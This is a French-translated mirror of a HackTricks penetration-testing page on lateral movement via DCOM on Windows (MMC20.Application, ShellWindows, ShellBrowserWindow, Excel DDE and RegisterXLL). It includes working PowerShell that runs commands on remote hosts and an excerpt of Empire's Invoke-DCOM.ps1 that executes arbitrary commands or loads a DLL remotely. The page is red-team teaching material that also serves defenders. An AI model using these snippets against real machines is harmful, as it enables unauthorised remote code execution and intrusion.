Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-24 05:33:33 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/windows-hardening/lateral-movement/dcom-exec.md
Translator workflow af42105553 Translated to French
2023-06-03 13:10:46 +00:00

13 KiB
Raw Blame History

DCOM Exec

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

MMC20.Application

Les objets DCOM (Distributed Component Object Model) sont intéressants en raison de leur capacité à interagir avec les objets sur le réseau. Microsoft a une bonne documentation sur DCOM ici et sur COM ici. Vous pouvez trouver une liste solide d'applications DCOM en utilisant PowerShell, en exécutant Get-CimInstance Win32_DCOMApplication.

L'objet COM MMC Application Class (MMC20.Application) vous permet de scripter des composants d'opérations de snap-in MMC. En énumérant les différentes méthodes et propriétés de cet objet COM, j'ai remarqué qu'il existe une méthode nommée ExecuteShellCommand sous Document.ActiveView.

Vous pouvez en savoir plus sur cette méthode ici. Jusqu'à présent, nous avons une application DCOM à laquelle nous pouvons accéder sur le réseau et qui peut exécuter des commandes. La dernière pièce consiste à exploiter cette application DCOM et la méthode ExecuteShellCommand pour obtenir l'exécution de code sur un hôte distant.

Heureusement, en tant qu'administrateur, vous pouvez interagir à distance avec DCOM avec PowerShell en utilisant "[activator]::CreateInstance([type]::GetTypeFromProgID". Tout ce que vous avez à faire est de lui fournir un ProgID DCOM et une adresse IP. Il vous fournira ensuite une instance de cet objet COM à distance :

Il est alors possible d'appeler la méthode ExecuteShellCommand pour démarrer un processus sur l'hôte distant :

ShellWindows & ShellBrowserWindow

L'objet MMC20.Application manquait de "LaunchPermissions" explicites, ce qui entraînait l'accès des administrateurs par défaut :

Vous pouvez en savoir plus sur ce fil ici.
Visualiser les autres objets qui n'ont pas de LaunchPermission explicite peut être réalisé en utilisant OleView .NET de @tiraniddo, qui a d'excellents filtres Python (entre autres choses). Dans ce cas, nous pouvons filtrer tous les objets qui n'ont pas de Launch Permission. En le faisant, deux objets ont attiré mon attention : ShellBrowserWindow et ShellWindows :

Une autre façon d'identifier les objets cibles potentiels est de rechercher la valeur LaunchPermission manquante dans les clés de HKCR:\AppID\{guid}. Un objet avec des autorisations de lancement définies ressemblera à ce qui suit, les données représentant la liste de contrôle d'accès pour l'objet au format binaire :

Ceux qui n'ont pas de LaunchPermission explicite manqueront cette entrée de registre spécifique.

ShellWindows

Le premier objet exploré était ShellWindows. Étant donné qu'il n'y a pas de ProgID associé à cet objet, nous pouvons utiliser la méthode .NET Type.GetTypeFromCLSID associée à la méthode Activator.CreateInstance pour instancier l'objet via son AppID sur un hôte distant. Pour ce faire, nous devons obtenir le CLSID pour l'objet ShellWindows, ce qui peut être accompli en utilisant OleView .NET également :

shellwindow_classid

Comme vous pouvez le voir ci-dessous, le champ "Launch Permission" est vide, ce qui signifie qu'aucune autorisation explicite n'est définie.

screen-shot-2017-01-23-at-4-12-24-pm

Maintenant que nous avons le CLSID, nous pouvons instancier l'objet sur une cible distante :

$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>") #9BA05972-F6A8-11CF-A442-00A0C90A8F39
$obj = [System.Activator]::CreateInstance($com)

Une fois l'objet instancié sur l'hôte distant, nous pouvons interagir avec lui et invoquer n'importe quelle méthode que nous voulons. La poignée retournée à l'objet révèle plusieurs méthodes et propriétés, avec lesquelles nous ne pouvons pas interagir. Pour interagir réellement avec l'hôte distant, nous devons accéder à la méthode WindowsShell.Item, qui nous donnera un objet représentant la fenêtre de la coquille Windows :

$item = $obj.Item()

Avec une poignée complète sur la fenêtre Shell, nous pouvons maintenant accéder à toutes les méthodes/propriétés attendues qui sont exposées. Après avoir parcouru ces méthodes, Document.Application.ShellExecute a attiré notre attention. Assurez-vous de suivre les exigences de paramètres pour la méthode, qui sont documentées ici.

$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)

Comme vous pouvez le voir ci-dessus, notre commande a été exécutée avec succès sur un hôte distant.

ShellBrowserWindow

Cet objet particulier n'existe pas sous Windows 7, ce qui limite un peu plus son utilisation pour le mouvement latéral que l'objet "ShellWindows", que j'ai testé avec succès sur Win7-Win10.

D'après mon énumération de cet objet, il semble fournir efficacement une interface dans la fenêtre de l'Explorateur, tout comme le précédent objet. Pour instancier cet objet, nous devons obtenir son CLSID. De même que ci-dessus, nous pouvons utiliser OleView .NET :

shellbrowser_classid

Encore une fois, notez le champ d'autorisation de lancement vide :

screen-shot-2017-01-23-at-4-13-52-pm

Avec le CLSID, nous pouvons répéter les étapes prises sur l'objet précédent pour instancier l'objet et appeler la même méthode :

$com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880", "<IP>")
$obj = [System.Activator]::CreateInstance($com)

$obj.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "C:\Windows\system32", $null, 0)

Comme vous pouvez le voir, la commande a été exécutée avec succès sur la cible distante.

Comme cet objet interagit directement avec la coquille Windows, nous n'avons pas besoin d'invoquer la méthode "ShellWindows.Item", comme sur l'objet précédent.

Bien que ces deux objets DCOM puissent être utilisés pour exécuter des commandes shell sur un hôte distant, il existe de nombreuses autres méthodes intéressantes qui peuvent être utilisées pour énumérer ou altérer une cible distante. Quelques-unes de ces méthodes comprennent :

  • Document.Application.ServiceStart()
  • Document.Application.ServiceStop()
  • Document.Application.IsServiceRunning()
  • Document.Application.ShutDownWindows()
  • Document.Application.GetSystemInformation()

ExcelDDE & RegisterXLL

De manière similaire, il est possible de se déplacer latéralement en abusant des objets DCOM Excel, pour plus d'informations, lisez https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom

# Chunk of code from https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1
## You can see here how to abuse excel for RCE
elseif ($Method -Match "DetectOffice") {
    $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
    $Obj = [System.Activator]::CreateInstance($Com)
    $isx64 = [boolean]$obj.Application.ProductCode[21]
    Write-Host  $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
elseif ($Method -Match "RegisterXLL") {
    $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
    $Obj = [System.Activator]::CreateInstance($Com)
    $obj.Application.RegisterXLL("$DllPath")
}
elseif ($Method -Match "ExcelDDE") {
    $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
    $Obj = [System.Activator]::CreateInstance($Com)
    $Obj.DisplayAlerts = $false
    $Obj.DDEInitiate("cmd", "/c $Command")
}

Outil

Le script Powershell Invoke-DCOM.ps1 permet d'invoquer facilement toutes les méthodes commentées pour exécuter du code sur d'autres machines.

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥